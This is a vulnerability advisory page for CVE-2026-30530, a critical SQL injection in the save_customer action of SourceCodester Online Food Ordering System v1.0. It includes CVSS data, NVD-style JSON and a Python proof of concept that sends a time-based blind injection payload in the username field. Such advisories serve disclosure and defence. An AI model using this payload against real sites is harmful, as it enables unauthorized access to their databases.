Security Vulnerability Report
中文
CVE-2026-30530 CVSS 9.8 CRITICAL

CVE-2026-30530

Published: 2026-03-27 16:16:24
Last Modified: 2026-03-30 18:18:28

Description

A SQL Injection vulnerability exists in SourceCodester Online Food Ordering System v1.0 in the Actions.php file (specifically the save_customer action). The application fails to properly sanitize user input supplied to the "username" parameter. This allows an attacker to inject malicious SQL commands.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oretnom23:online_food_ordering_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Online Food Ordering System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_sqli(target_url): """ PoC for CVE-2026-30530 SQL Injection in save_customer action. This script attempts to trigger a time-based blind SQL injection. """ target_endpoint = f"{target_url}/Actions.php" # Malicious payload to test SQL injection # Using SLEEP(5) to check if the database executes the command payload_data = { "action": "save_customer", "username": "test' AND IF(1=1, SLEEP(5), 0)-- -", "password": "password123", "firstname": "Test", "lastname": "User" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[+] Sending payload to {target_endpoint}...") response = requests.post(target_endpoint, data=payload_data, headers=headers, timeout=10) # If response takes longer than usual (approx 5 seconds), vulnerability is confirmed print(f"[+] Response status: {response.status_code}") print("[+] Check if the response time indicates a successful SQL injection (delayed response).") print(f"[+] Response body: {response.text[:200]}...") except requests.exceptions.Timeout: print("[!] Request timed out, which might indicate successful SLEEP() execution (Vulnerable).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://192.168.1.100/online_food_ordering" exploit_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30530", "sourceIdentifier": "[email protected]", "published": "2026-03-27T16:16:23.567", "lastModified": "2026-03-30T18:18:27.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL Injection vulnerability exists in SourceCodester Online Food Ordering System v1.0 in the Actions.php file (specifically the save_customer action). The application fails to properly sanitize user input supplied to the \"username\" parameter. This allows an attacker to inject malicious SQL commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:online_food_ordering_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "0FAA9C4A-10ED-4AA4-8295-F4324DD2F879"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Online-Food-Ordering-System/SQLi-Actions-saveCustomer-username.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}